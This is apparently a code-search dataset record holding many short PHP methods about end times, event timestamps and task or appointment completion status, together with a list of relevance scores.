'';\n\n return @gmdate( $this->getPluginTimeFormat(), $timeend );\n }", "public function getDateTimeObjectEnd();", "public function getEndLocation()\n {\n return $this->end_location;\n }", "public static function getEnd($idTimeSlot){\n $result = DB::dataQuery(\"SELECT endTime FROM timeslots where idTimeSlot=$idTimeSlot\");\n foreach ($result as $endTime) {\n return $endTime[\"endTime\"];\n }\n }", "public function away_mode_end_time() {\n\n\t\t$current = current_time( 'timestamp' ); //The current time\n\n\t\t//if saved date is in the past update it to something in the future\n\t\tif ( isset( $this->settings['end'] ) && isset( $this->settings['enabled'] ) && $current < $this->settings['end'] ) {\n\t\t\t$end = $this->settings['end'];\n\t\t} else {\n\t\t\t$end = strtotime( date( 'n/j/y 6:00 \\a\\m', ( current_time( 'timestamp' ) + ( 86400 * 2 ) ) ) );\n\t\t}\n\n\t\t//Hour Field\n\t\t$content = '<select name=\"itsec_away_mode[away_end][hour]\" id=\"itsec_away_mode_away_mod_end_time\">';\n\n\t\tfor ( $i = 1; $i <= 12; $i ++ ) {\n\t\t\t$content .= '<option value=\"' . sprintf( '%02d', $i ) . '\" ' . selected( date( 'g', $end ), $i, false ) . '>' . $i . '</option>';\n\t\t}\n\n\t\t$content .= '</select>';\n\n\t\t//Minute Field\n\t\t$content .= '<select name=\"itsec_away_mode[away_end][minute]\" id=\"itsec_away_mode_away_mod_end_time\">';\n\n\t\tfor ( $i = 0; $i <= 59; $i ++ ) {\n\n\t\t\t$content .= '<option value=\"' . sprintf( '%02d', $i ) . '\" ' . selected( date( 'i', $end ), sprintf( '%02d', $i ), false ) . '>' . sprintf( '%02d', $i ) . '</option>';\n\t\t}\n\n\t\t$content .= '</select>';\n\n\t\t//AM/PM Field\n\t\t$content .= '<select name=\"itsec_away_mode[away_end][sel]\" id=\"itsec_away_mode\">';\n\t\t$content .= '<option value=\"am\" ' . selected( date( 'a', $end ), 'am', false ) . '>' . __( 'am', 'it-l10n-ithemes-security-pro' ) . '</option>';\n\t\t$content .= '<option value=\"pm\" ' . selected( date( 'a', $end ), 'pm', false ) . '>' . __( 'pm', 'it-l10n-ithemes-security-pro' ) . '</option>';\n\t\t$content .= '</select><br>';\n\t\t$content .= '<label for=\"itsec_away_mode_away_mod_end_time\"> ' . __( 'Set the time at which the admin dashboard should become available again.', 'it-l10n-ithemes-security-pro' ) . '</label>';\n\n\t\techo $content;\n\n\t}", "function tripal_jobs_get_end_time($job){\n if($job->end_time > 0){\n $end = format_date($job->end_time);\n } else {\n $end = '';\n }\n return $end;\n}", "public function getServiceEndAt() {\n return $this->attributes['service_end_at'];\n }", "protected function getMonthStartEndTime()\n {\n $calendar_time = post('calendar_time');\n return $calendar_time;\n }", "public function getEventTime()\n {\n return $this->event_time;\n }", "public function getEventTime()\n {\n return $this->event_time;\n }", "public function getBooTimeFinishAttribute()\n\t{\n\t\treturn Carbon::createFromTimestamp($this->attributes['boo_time_finish'], $this->getAppTimeZone());\n\t}", "function getEndMicrotime();", "public function setEndTime($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Protobuf\\Timestamp::class);\n $this->end_time = $var;\n\n return $this;\n }", "public function setEndTime($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Protobuf\\Timestamp::class);\n $this->end_time = $var;\n\n return $this;\n }", "public function setEndTime($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Protobuf\\Timestamp::class);\n $this->end_time = $var;\n\n return $this;\n }", "public function setEndTime($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Protobuf\\Timestamp::class);\n $this->end_time = $var;\n\n return $this;\n }", "public function setEndTime($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Protobuf\\Timestamp::class);\n $this->end_time = $var;\n\n return $this;\n }", "public function setEndTime($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Protobuf\\Timestamp::class);\n $this->end_time = $var;\n\n return $this;\n }", "public function setEndTime($value)\n {\n return $this->set('EndTime', $value);\n }" ]
[ "0.7728677", "0.74287534", "0.7404173", "0.7392355", "0.73750335", "0.73750335", "0.73750335", "0.73750335", "0.73750335", "0.73750335", "0.73750335", "0.73750335", "0.7370909", "0.7342982", "0.7306177", "0.72935015", "0.72678596", "0.7233236", "0.7138491", "0.71171397", "0.71171397", "0.71171397", "0.71139294", "0.70999473", "0.70763296", "0.7063861", "0.70594066", "0.7023172", "0.70225126", "0.69855046", "0.6949969", "0.6912009", "0.68118465", "0.678464", "0.6714242", "0.6637288", "0.6632447", "0.651913", "0.65038294", "0.6503105", "0.6402307", "0.63871276", "0.63844156", "0.6347763", "0.634228", "0.63190734", "0.62709475", "0.624343", "0.6230337", "0.6202635", "0.6202635", "0.61980027", "0.61550504", "0.6142044", "0.6137603", "0.6134118", "0.61326396", "0.6072797", "0.6059994", "0.6058358", "0.60561556", "0.60474014", "0.6034415", "0.6029284", "0.60260016", "0.6019305", "0.6005798", "0.6003568", "0.5999447", "0.5965605", "0.5965279", "0.59642035", "0.5957161", "0.5910671", "0.59105384", "0.59105384", "0.59105384", "0.59105384", "0.59105384", "0.5893041", "0.58923125", "0.58893186", "0.58871865", "0.5861703", "0.58592725", "0.5844087", "0.5832603", "0.58286613", "0.5819419", "0.58143955", "0.58143955", "0.5807341", "0.58047545", "0.57916796", "0.57916796", "0.57916796", "0.57916796", "0.57916796", "0.57916796", "0.5780543" ]
0.707454
25
Get the appointment color.
public function getColorAttribute(): string { if($this->isCompleted()) { $color = '#68d391'; } else if ($this->isCanceled()) { $color = '#fc8181'; } else if ($this->isMissed()) { $color = '#cbd5e0'; } else { $color = $this->doctor->color; } return $color; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getColor()\n {\n // Busca en esta clase la propiedad X\n return $this->color;\n }", "public function getColor() {\n //Busca en esta clase la propiedad x\n return $this->color;\n }", "public function getColor()\n {\n return $this->color;\n }", "public function getColor()\n {\n return $this->color;\n }", "public function getColor()\n {\n return $this->color;\n }", "public function getColor()\n {\n return $this->color;\n }", "public function get_color()\n\t{\n\t\treturn $this->color;\n\t}", "public function getColor()\n {\n return $this->color;\n }", "public function getColor ()\r\n {\r\n return $this->color;\r\n }", "public function getColor()\n {\n if (array_key_exists(\"color\", $this->_propDict)) {\n return $this->_propDict[\"color\"];\n } else {\n return null;\n }\n }", "public function getColor() {\n\t\treturn $this->color;\n\t}", "public function getColor()\n\t{\n\t\treturn $this->color;\n\t}", "function getColor() {\n\t\treturn $this->color;\n\t}", "public function getColor()\n {\n $colorAttribute = $this->helper->getColorConfig();\n\n return $this->getAttribute($colorAttribute);\n }", "public function getColor()\n {\n return $this->color ?? $this->defaultColor;\n }", "public function getBackgroundColor() {}", "public function getBackgroundColor() {}", "public function getBackgroundColor() {}", "public function getColor()\n {\n return\"Yellow\";\n }", "public function getColor() {\n\t\t\treturn $this->_color;\n\t\t}", "public function color()\n\t{\n\t\treturn $this->fill_color;\n\t}", "function habitat_wp_getcolor() {\n if (!defined('HABITAT_ENVIRONMENT')) {\n return NULL;\n }\n switch (HABITAT_ENVIRONMENT) {\n case 'Dev':\n // Red.\n return '#E22222';\n\n case 'Test':\n // Orange.\n return '#E29522';\n }\n return NULL;\n\n}", "public function getBadgeColor()\n {\n }", "public function getColor() {}", "public function getColor() {}", "function getColor() { return $this->readColor(); }", "public static function color()\n {\n return null;\n }", "public static function color()\n {\n return null;\n }", "public function getColor(): Color\n {\n return $this->color;\n }", "public function getMainColor()\n {\n return isset($this->main_color) ? $this->main_color : '';\n }", "public function getMainColor()\n {\n return $this->mainColor;\n }", "public function getColor():Color\n {\n return $this->color;\n }", "function getColor() { return $this->_color; }", "function getColor() { return $this->_color; }", "public function getAppearanceTextColor() {}", "public function getColor();", "public function getColor();", "public function getColor();", "public function getColor();", "public function getColor(): string;", "function getColor() { return $this->_color; }", "function jeherve_ghactivity_get_event_color( $event_type ) {\n\t$type_hash = md5( $event_type );\n\n\t$r = hexdec( substr( $type_hash, 0, 2 ) );\n\t$g = hexdec( substr( $type_hash, 2, 2 ) );\n\t$b = hexdec( substr( $type_hash, 4, 2 ) );\n\n\t$color = $r . ',' . $g . ',' . $b;\n\n\treturn $color;\n}", "public function getColor() {\n\t}", "private function getAxisColor() {\n\t\treturn $this->axisColor;\n\t}", "public function getTextColor() {}", "public function getTextColor() {}", "function getColor(){\n\t\treturn $this->color_ficha;\n\t}", "public function getInteriorColor() {}", "public function getInteriorColor() {}", "public function getInteriorColor() {}", "function getColor() {return $this->readColor();}", "protected function _getColour() {\n return $this->_getFromConfig(\"button_colour\");\n }", "public function getTextColor(): string\n {\n return $this->textColor ?? $this->strokeColor;\n }", "public function getColor() {\n\n\t\t//return $query->rows;\n\t}", "public function getColor()\n {\n }", "public function getFillColor(): string\n {\n return $this->fillColor;\n }", "public function getBackgroundColor()\n {\n return $this->backgroundColor;\n }", "private function getPlotColor() {\n\t\treturn $this->plotColor;\n\t}", "public function getAccentColor()\n {\n return isset($this->accent_color) ? $this->accent_color : '';\n }", "public function color()\n {\n $color = $this->customer->color;\n\n $r = substr($color, 1, 2);\n $g = substr($color, 3, 2);\n $b = substr($color, 5, 2);\n $luma = (float)0.2126 * hexdec($r)\n + 0.7152 * hexdec($g)\n + 0.0722 * hexdec($b);\n\n return ['color' => $this->customer->color, 'luma' => $luma];\n }", "public function getColorName()\n {\n return $this->color_name;\n }", "public function getColorPrimary() {\n\t\treturn '#745bca';\n\t}", "public function getBackgroundColor() {\n return $this->backgroundColor;\n }", "public function getColor()\n {\n return self::QUALITY_MAP[$this->qualityID]['color'];\n }", "public function getFontColor()\n {\n if (array_key_exists(\"fontColor\", $this->_propDict)) {\n return $this->_propDict[\"fontColor\"];\n } else {\n return null;\n }\n }", "function eo_event_color($post_id=0){\n\n\t$post_id = (int) ( empty($post_id) ? get_the_ID() : $post_id);\n\n\tif( empty($post_id) )\n\t\treturn false;\n\n\t$color='';\n\t$terms = get_the_terms( $post_id, 'event-category' );\n\n\tif($terms){\n\t\tforeach ($terms as $term):\t\n\t\t\tif( ! empty($term->color) ){\n\t\t\t\t$colorCode = ltrim($term->color, '#');\n\t\t\t\tif ( ctype_xdigit($colorCode) && (strlen($colorCode) == 6 || strlen($colorCode) == 3)){\n\t\t\t\t\t$color = '#'.$colorCode;\n\t\t\t\t\tbreak;\n \t}\n\t\t\t}\n\t\tendforeach;\n\t}\n\n\treturn esc_attr($color);\n}", "public function getOutlineColor() {}", "public function getStrokeColor(): string\n {\n return $this->strokeColor;\n }", "private function getColor() {\n $randomNumber = rand(0, 7);\n $colors = array(0 => 'green',\n 1 => 'orange',\n 2 => 'blue', \n 3 => 'orange',\n 4 => 'yellow',\n 5 => 'purple',\n 6 => 'red',\n 7 => 'cyan');\n //$this->changeColor($colors[$randomNumber]);\n return $colors[$randomNumber]; \n \n }", "public function getTextColor() {\n\t\treturn $this->text_color;\n\t}", "public function getBackgroundColor() {\n\t\treturn $this->background_color;\n\t}", "public function getYellow()\n {\n return $this->yellow;\n }", "public function getColor()\n {\n $La_Color = null;\n\n switch($this->i_Colormode)\n {\n case self::SVNHUE_COLORMODE_HUE:\n $La_Color['hue'] = $this->a_State['hue'];\n $La_Color['sat'] = $this->a_State['sat'];\n break;\n\n case self::SVNHUE_COLORMODE_CT:\n $La_Color['ct'] = $this->a_State['ct'];\n break;\n\n case self::SVNHUE_COLORMODE_XY:\n $La_Color['xy'] = $this->a_State['xy'];\n break;\n } /* switch */\n\n return($La_Color);\n\n }", "public function getColor(): string\n {\n }", "public function getColorAccent()\n {\n return $this->colorAccent;\n }", "public function getLayoutColor()\n {\n $layoutColor = \\XLite\\Core\\Config::getInstance()->Layout->color;\n $availableColors = $this->getAvailableLayoutColors();\n\n return isset($availableColors[$layoutColor])\n ? $layoutColor\n : '';\n }", "public function getColor($userId){\n\t\t$userColor = CalendarUserColor::model()->findByPk(array('calendar_id'=>$this->id,'user_id'=>$userId));\n\n\t\tif($userColor)\n\t\t\treturn $userColor->color;\n\t\telse\n\t\t\treturn false;\n\t}", "public function backgroundColorProvider()\n {\n return [[\"#fff\"], [\"#000\"]];\n }", "public function backgroundColorProvider()\n {\n return [[\"#fff\"], [\"#000\"]];\n }", "public function getColor()\n{\nreturn $this->color;\n}", "public function getColorInfo()\n {\n return $this->color_info;\n }", "private function getGraphColor() {\n\t\treturn $this->graphColor;\n\t}", "function pl_bg_color(){\n\t\n\tif( pl_check_color_hash( get_set_color( 'the_bg' ) ) )\n\t\treturn get_set_color( 'the_bg' );\n\telse \n\t\treturn 'FFFFFF';\t\n}", "public function backgroundColor()\n {\n return '#dddddd';\n }", "public function lineColor()\n {\n return isset($this->data->graphicElement->pen[\"lineColor\"]) ? (string) $this->data->graphicElement->pen[\"lineColor\"] : NULL;\n }", "function get_background_color()\n {\n }", "protected static function generateColor($status = null)\n {\n if($status == APPLE_DECAYED){\n return APPLE_DECAYED_COLOR;\n }\n\n $colorToRgb = [\n rand(0, 255), // red\n rand(0, 255), // green\n rand(0, 10), // blue\n ];\n\n return '#' . implode(\n array_map(\n function($decColor) {\n return sprintf(\"%02s\", dechex($decColor));\n },\n $colorToRgb\n )\n );\n }", "protected function randomColor()\n {\n // generate a red point.\n $red = dechex(rand(16, 196));\n // generate a green point.\n $green = dechex(rand(16, 196));\n // generate a blue point.\n $blue = dechex(rand(16, 196));\n\n // concat and return the color (with the hash prefix)\n return \"#{$red}{$green}{$blue}\";\n }", "public function get_bg_colour() {\n\t\treturn $this->bg_colour;\n\t}", "function GetContentColor()\n\t{\n\t\tif(isset($_GET[\"c\"]) && !empty($_GET[\"c\"]))\n\t\t{\n\t\t\tswitch($_GET[\"c\"])\n\t\t\t{\n\t\t\t case 1:\n\t\t\t\treturn \"black\";\n\t\t\tcase 2:\n\t\t\t\treturn \"red\";\n\t\t\tcase 3:\n\t\t\t\treturn \"green\";\n\t\t\tcase 4:\n\t\t\t\treturn \"yellow\";\n\t\t\tcase 5:\n\t\t\t\treturn \"blue\";\n\t\t\tcase 6:\n\t\t\t\treturn \"notimplemented\";\n\t\t\tdefault:\n\t\t\t\treturn \"white\";\n\t\t\t}\n\t\t}\n\n\t\treturn \"white\";\n\t}", "public function getLayoutColorName()\n {\n $layoutColor = \\XLite\\Core\\Config::getInstance()->Layout->color;\n $availableColors = $this->getAvailableLayoutColors();\n\n return isset($availableColors[$layoutColor])\n ? $availableColors[$layoutColor]\n : '';\n }", "public function get_color() {\n $query = $this->db->get('color');\n if ($query->num_rows() > 0) {\n return $query->result();\n } else {\n return false;\n }\n }", "public function getCategoryColor()\n {\n switch ($this->category) {\n case self::CATEGORY_IMAGE:\n return 'warning';\n case self::CATEGORY_AUDIO:\n return 'primary';\n case self::CATEGORY_VIDEO:\n return 'danger';\n }\n\n return 'default';\n }", "public function colors()\n {\n $color = $this->backgroundColor();\n return array($color, Kronolith::foregroundColor($color));\n }", "function get_peepso_color_template() {\n $color = \"\";\n\n if (class_exists( 'PeepSo' )) {\n $color = PeepSo::get_option('site_css_template','');\n }\n\n return $color;\n}", "public function getEventOptions()\n {\n return [\n 'color' => $this->background_color,\n ];\n }", "public function getAccentColor(): ?int\n {\n return $this->accent_color;\n }", "function getCaptionFontColor() {\n\t//Return a hex color code without #\n\t//FFC30C - Yellow Color\n return \"666666\";\n}", "public function getSafeColor() {\n if ($this->type === ColorLib::THTML) {\n return [self::transformHtmlToHexColor($this->color[0])];\n }\n return $this->color;\n }", "function wpvideocoach_get_categories_color()\r\n{\r\n\tglobal $wpvideocoach_categories_color;\r\n\tif(empty($wpvideocoach_categories_color)){\r\n\t\t$wpvideocoach_categories_color = '#000';\r\n\t}\r\n\treturn $wpvideocoach_categories_color;\r\n}" ]
[ "0.6934392", "0.68937725", "0.68509805", "0.68509805", "0.68509805", "0.68403655", "0.6833414", "0.6824269", "0.6783075", "0.67679685", "0.67555827", "0.6734506", "0.67217946", "0.66901886", "0.6688015", "0.6661775", "0.6661775", "0.66614974", "0.66451615", "0.66361386", "0.65734446", "0.65425754", "0.65173453", "0.6479068", "0.6479068", "0.6454741", "0.6404896", "0.6404896", "0.6385877", "0.63536865", "0.63440657", "0.6334056", "0.63156515", "0.63156515", "0.63115317", "0.63055944", "0.63055944", "0.63055944", "0.63055944", "0.6301913", "0.62933785", "0.62923336", "0.6282626", "0.62393636", "0.6227232", "0.6227059", "0.61981857", "0.6185864", "0.61846", "0.61846", "0.61754507", "0.61449486", "0.6141122", "0.6114155", "0.6074718", "0.60576606", "0.6050091", "0.60472345", "0.60372835", "0.60320926", "0.60172665", "0.60063607", "0.5985366", "0.59827065", "0.59738016", "0.59692025", "0.59637815", "0.59596026", "0.5953881", "0.5948128", "0.58949804", "0.5864501", "0.5859486", "0.58558106", "0.58506346", "0.5830879", "0.58268327", "0.58130574", "0.58130574", "0.5810029", "0.5809719", "0.57955784", "0.57742846", "0.5773649", "0.57285154", "0.5695979", "0.5672573", "0.56584924", "0.5652636", "0.5625777", "0.55999327", "0.55878025", "0.55841184", "0.5582092", "0.5580877", "0.5572495", "0.5566413", "0.5566168", "0.55274165", "0.5499809" ]
0.68075037
8
Get the appointment editable attribute.
public function getIsEditableAttribute(): string { return ! $this->start_at->isPast() ? true : false; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getAttributeToEditProperty()\n {\n return Attribute::find($this->editAttributeId);\n }", "public function getCanEditAttribute()\n {\n // Are you the owner if the note?\n return Auth::id() == $this->user_id;\n }", "public function isEditable()\n {\n return $this->_editable;\n }", "public function getIsUserEditable()\n\t{\n\t\treturn $this->is_user_editable;\n\t}", "public function getEditais()\n {\n return $this->editais;\n }", "public function editable($value) {\n return $this->setProperty('editable', $value);\n }", "public function is_editable() {\n\t\treturn false;\n\t}", "public function getIsStaffEditable()\n\t{\n\t\treturn $this->is_staff_editable;\n\t}", "public function getCustomAttributesAttribute()\n {\n return $this->custom_attributes()->get();\n }", "public function getEditMode()\n {\n return $this->_editMode;\n }", "public function getAttributeGroupToEditProperty()\n {\n return AttributeGroup::find($this->editGroupId);\n }", "public function get_readonly() {\n return $this->readonly;\n }", "public function getAppointmentId()\n {\n return $this->appointmentId;\n }", "public function editable()\n {\n if ($this->getMode() == \"only_external\") {\n return false;\n }\n if ($this->hasScript()) {\n // can't edit calculated fields\n return false;\n }\n if (!isset($this->data[\"editable\"])) {\n return true;\n }\n return (true == $this->data[\"editable\"]);\n }", "public function edit()\n {\n return $this->check;\n }", "public function getReadOnly()\n {\n return $this->readOnly;\n }", "public function isEditable() {}", "public function getCanModifyAttribute()\n {\n // Checks if there are any shared user permissions for this user, if not returnes false\n // If they do have permissions, it will return there modify attribute\n return (count($this->auth_user_share)) ? (bool)($this->auth_user_share[0]->pivot->modify) : false;\n }", "function getEditableManufacturerID()\n {\n return $this->editableManufacturerID;\n }", "public function getAttr(): string\r\n {\r\n return $this->attr;\r\n }", "function getReadOnly() { return $this->_readonly; }", "public function getReadonly() {\n\t\treturn $this->readonly;\n\t}", "public function editable($editable)\n {\n $this->editable = $editable;\n\n return $this;\n }", "public function getAttrib() {\n return $this->attrib;\n }", "public function getUserCanEditAttribute()\n {\n return AccessControl::check($this, 'edit_post', false);\n }", "public function getReadOnlyAttribute()\n {\n return $this->source === PirepFieldSource::ACARS;\n }", "public function getEditableField()\n {\n return $this->Parent()->Parent()->Fields()->filter([\n 'Name' => $this->Name\n ])->First();\n }", "public function readonly()\n {\n return $this->readOnly;\n }", "public function getApodo()\n {\n return $this->apodo;\n }", "public function getAttribute()\r\n {\r\n return $this->getElement()->getEntityAttribute();\r\n }", "public function getEditord()\n {\n return $this->editord;\n }", "public function isEditable();", "public function isEditable();", "public function isEditable()\n\t{\n\t\tif (($this->getName() === 'publicid') || ($this->getName() === 'posturl')) {\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t}", "public function getIsEditable(): ?bool {\n $val = $this->getBackingStore()->get('isEditable');\n if (is_null($val) || is_bool($val)) {\n return $val;\n }\n throw new \\UnexpectedValueException(\"Invalid type found in backing store for 'isEditable'\");\n }", "public function getEditSequence()\n\t{\n\t\treturn $this->get('EditSequence');\n\t}", "public function editable(bool $value = true)\n {\n $this->editable = $value;\n return $this;\n }", "public static function getEditMode(): bool\n\t{\n\t\treturn self::$editMode;\n\t}", "public function isEditable()\n {\n // Need to be able to save the DataObject if this is being called during PublishTargetJob.\n if ($this->owner->getIsPublishJobRunning()) {\n return true;\n }\n\n // Need to be able to save the DataObject if this is being called during UnPublishTargetJob.\n if ($this->owner->getIsUnPublishJobRunning()) {\n return true;\n }\n\n if ($this->owner->config()->get('allow_embargoed_editing')) {\n return true;\n }\n\n if ($this->owner->getIsPublishScheduled()) {\n return false;\n }\n\n $embargoRecordIsEditable = $this->owner->invokeWithExtensions('embargoRecordIsEditable');\n if (in_array(false, $embargoRecordIsEditable)) {\n return false;\n }\n\n return true;\n }", "public function getAttribute()\n {\n return $this->attribute;\n }", "public function getAttribute()\n {\n return $this->attribute;\n }", "public function getEdit()\n\t{\n\t}", "public function editable(bool $value = true)\n {\n $this->editable = $value;\n\n return $this;\n }", "public function getReadOnlyFlag() {}", "function isEditable(Eloquent $model);", "public function getActivo()\n {\n return $this->activo;\n }", "public function getActivo()\n {\n return $this->activo;\n }", "public function getActivo()\n {\n return $this->activo;\n }", "public function can_edit() {\n return true;\n }", "public function setEditable(bool $editable=true): self;", "public function getEditableText() {}", "public function getEdicion()\n {\n return $this->edicion;\n }", "public function getAdminAttribute()\n {\n return User::whereId($this->accountId)->first();\n }", "public function canEdit()\n {\n return true;\n }", "public function getEditingAttribute()\n {\n return false;\n }", "public function edit()\n {\n return $this->get();\n }", "public function getIsReadOnly()\n {\n if (array_key_exists(\"isReadOnly\", $this->_propDict)) {\n return $this->_propDict[\"isReadOnly\"];\n } else {\n return null;\n }\n }", "function get_value_edit()\n\t{\n\t\treturn $this->value;\n\t}", "public function getAttendee()\n {\n return $this->attendee;\n }", "public function getAttendee()\n {\n return $this->attendee;\n }", "public static function setEditable($bool) {\n\t\tself::$editable = $bool;\n\t}", "public function getAbonement_id()\n {\n return $this->abonement_id;\n }", "public function isEditOnlyMode();", "public function getActivo()\n {\n return $this->activo;\n }", "public function getAtendido() {\n return $this->atendido;\n }", "public function isEditable() {\n\t\tif ($this->isVariable()) {\n\t\t\t$editables = $this->parent->editables();\n\t\t\tif (empty($editables)) {\n\t\t\t\treturn $this->isValueEditable;\n\t\t\t}\n\t\t\treturn ((in_array($this->parsedVarName, $editables) !== false) && $this->isValueEditable);\n\t\t}\n\t\treturn false;\n\t}", "function getActOn() {\n\t\treturn $this->_actOn;\n\t}", "public function attr($atributo) {\n \n if (get_class($this->oObjeto) == 'Contribuinte_Model_EmpresaEcidade') {\n return $this->oObjeto->attr($atributo);\n }\n \n if (self::$aMapeamento[$atributo] != NULL) {\n \n $metodo = 'get' . self::$aMapeamento[$atributo];\n \n return call_user_func_array(array($this->oObjeto, $metodo), array());\n } else {\n return NULL;\n }\n }", "public function getFkLicitacaoPublicacaoEditais()\n {\n return $this->fkLicitacaoPublicacaoEditais;\n }", "public function getAttribute(): string\n {\n return $this->attribute;\n }", "public function getIsBillableAttribute()\n {\n return $this->billable;\n }", "public function getApprentiEtam() {\n return $this->apprentiEtam;\n }", "public function edit(Appointment $appointment)\n {\n //\n }", "public function edit(Appointment $appointment)\n {\n //\n }", "public function getAccess()\n\t{\n\t\t$column = self::COL_ACCESS;\n\t\t$v = $this->$column;\n\n\t\tif( $v !== null){\n\t\t\t$v = (string)$v;\n\t\t}\n\n\t\treturn $v;\n\t}", "public function getEditInput();", "public function getIsAnswerEditable(): ?bool {\n $val = $this->getBackingStore()->get('isAnswerEditable');\n if (is_null($val) || is_bool($val)) {\n return $val;\n }\n throw new \\UnexpectedValueException(\"Invalid type found in backing store for 'isAnswerEditable'\");\n }", "public function getFkAdministracaoAtributoDinamico()\n {\n return $this->fkAdministracaoAtributoDinamico;\n }", "public function getFkAdministracaoAtributoDinamico()\n {\n return $this->fkAdministracaoAtributoDinamico;\n }", "public function getAmOwnerAttribute() {\n\t\t$userId = user('id');\n\t\tif(empty($userId)) { return false; }\n\t\t\n\t\treturn $userId == $this->attributes['user_id'];\n\t}", "public function setEditable($editable = true, $setDefaultValue = true) {}", "function getAutofocus()\n {\n return $this->getAttribute(\"autofocus\");\n }", "public function getAttributeSetDetails();", "public function getCanDeleteAttribute()\n {\n // Are you the owner if the note?\n return Auth::id() == $this->user_id;\n }", "public function isReadOnly()\n {\n return $this->readOnly;\n }", "public function getEditorial()\n {\n return $this->editorial;\n }", "public function isReadOnly()\n {\n return $this->_readOnly;\n }", "public function edit() {\r\n\t\treturn $this->_edit(false);\r\n\t}", "public function getSharedNoteAttribute()\n {\n // Are you the owner if the note?\n return Auth::id() != $this->user_id;\n }", "public function getApellido()\n {\n return $this->apellido;\n }", "public function getDobPublicStatusAttribute(){\n return $this->attributes['dob_public'] ? 'Yes' : 'No';\n }", "public function isReadOnly ()\n {\n return $this->readOnly;\n }", "function isReadonly()\n {\n return $this->readonly;\n }", "public function getActSchoolAdminPerson() {\n return $this->dataBase->getEntry('person',\"role like '%admin%' and classID=\".$this->getStafClassBySchoolId(getActSchoolId())[\"id\"]);\n }", "public function getFkLicitacaoDocumentoAtributoValor()\n {\n return $this->fkLicitacaoDocumentoAtributoValor;\n }", "public function getApellido()\n {\n return $this->apellido;\n }", "public function getApellido()\n {\n return $this->apellido;\n }", "protected function canEdit() {}", "public function getApellido()\n {\n return $this->_apellido;\n }", "public function getUserAttr()\n {\n return $this->UserAttr;\n }" ]
[ "0.7216312", "0.6701381", "0.65519154", "0.6269192", "0.60349554", "0.5992434", "0.5954967", "0.5918142", "0.5802015", "0.57624507", "0.575861", "0.57377726", "0.5716839", "0.56964016", "0.5682466", "0.56650215", "0.56617963", "0.5660485", "0.56221163", "0.55550575", "0.5547969", "0.5520378", "0.5505791", "0.5500497", "0.5494494", "0.54756796", "0.5474687", "0.54570216", "0.54408693", "0.5436321", "0.5436155", "0.5425118", "0.5425118", "0.5421056", "0.54088145", "0.5404028", "0.5391978", "0.5386106", "0.53760433", "0.53727263", "0.53727263", "0.53704804", "0.5361623", "0.53396535", "0.53388137", "0.53231585", "0.53231585", "0.53231585", "0.53174", "0.53097636", "0.5298794", "0.52877", "0.5272659", "0.5262408", "0.52623314", "0.5234633", "0.52333367", "0.52333045", "0.5221779", "0.5221779", "0.52162755", "0.52150553", "0.5206741", "0.520643", "0.5191782", "0.51843154", "0.51740175", "0.51703626", "0.5148571", "0.51450497", "0.5142191", "0.5140318", "0.5129837", "0.5129837", "0.5125891", "0.5118519", "0.51173246", "0.5116346", "0.5116346", "0.51161444", "0.5114224", "0.51104385", "0.5104529", "0.5092812", "0.5082551", "0.50803846", "0.50782174", "0.50681156", "0.50605565", "0.5060006", "0.50546783", "0.5050064", "0.5045058", "0.5038952", "0.50379527", "0.50371224", "0.50371224", "0.50359577", "0.5021928", "0.5017171" ]
0.6928397
1
Determine if the appointment is completed.
public function isCompleted(): bool { return $this->status == 'completed'; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function hasCompleted() : bool\n {\n return $this->completed_at !== null;\n }", "public function isDone()\n\t{\n\t $today = Carbon::now()->setTimezone('America/Los_Angeles')->startOfDay();\n\t return $today->gte($this->event_date->endOfDay());\n\t}", "public function is_complete() {\n return (bool) $this->timecompleted;\n }", "public function isCompleted()\n\t{\n\t\treturn $this->status == AdFox::OBJECT_STATUS_COMPLETED;\n\t}", "public function isCompleted()\n {\n return $this->completed;\n }", "public function isCompleted() {\n return $this->state->getCode() == TaskState::Completed;\n }", "public function isComplete() {\n return $this->getDescription() == 'Done';\n }", "public function isCompleted()\n\t{\n\t\tif($this->test_status_id == Test::COMPLETED)\n\t\t\treturn true;\n\t\telse \n\t\t\treturn false;\n\t}", "function isCompleted(){\r\n\t\treturn $this->status==IFocusModel::COMPLETE;\r\n\t}", "public function isCompleted()\r\n {\r\n return $this->status >= 100 || $this->status == 2;\r\n }", "public function isCompleted()\n {\n return static::STATUS_SUCCESS == $this->getStatus();\n }", "public function isComplete()\n\t{\n\t\treturn $this->status == 'Complete';\n\t}", "function isComplete() {\n return (bool) $this->fulfillment['complete'];\n }", "public function isCompleted() : bool\n {\n return in_array($this->getOrderStatus(), [self::AUTHORISED, self::COMPLETED]);\n }", "function isComplete()\n {\n return $this->complete;\n }", "function isCalendarCompleted()\n {\n if ($this->isCalendarCompleted === null) {\n $this->isCalendarCompleted = true;\n $configuration = $this->configuration;\n if ($configuration->isCalendar()) {\n if (!empty($configuration->getCalendar())) {\n foreach ($configuration->getCalendar() as $month => $days) {\n foreach ($days as $day => $prayers) {\n foreach ($prayers as $prayerIndex => $prayer) {\n if (empty($prayer)) {\n $this->isCalendarCompleted = false;\n }\n }\n }\n }\n }\n }\n }\n return $this->isCalendarCompleted;\n }", "public function isComplete()\n {\n return\n $this->Status == 'CardCreated' ||\n $this->Status == 'Captured' ||\n $this->Status == 'Refunded' ||\n $this->Status == 'Void';\n }", "public function can_be_completed(): bool {\n\t\t// TODO: Implement this.\n\t\treturn false;\n\t}", "protected function hasCompleted()\r\n {\r\n return !(bool)$this->getExpectedStep();\r\n }", "function complete() \n {\n if (!($this->activity->isInteractive()))\n {\n $this->error[] = tra('interactive activities should not call the complete() method');\n return false;\n }\n \n return $this->instance->complete($this->activity_id);\n }", "function isComplete()\n\t{\n\t\tif (($this->getTitle()) and (count($this->questions)))\n\t\t{\n\t\t\treturn 1;\n\t\t} \n\t\t\telse \n\t\t{\n\t\t\treturn 0;\n\t\t}\n\t}", "public function isComplete()\n {\n return $this->status == 'success';\n }", "public function isCompleted();", "public function 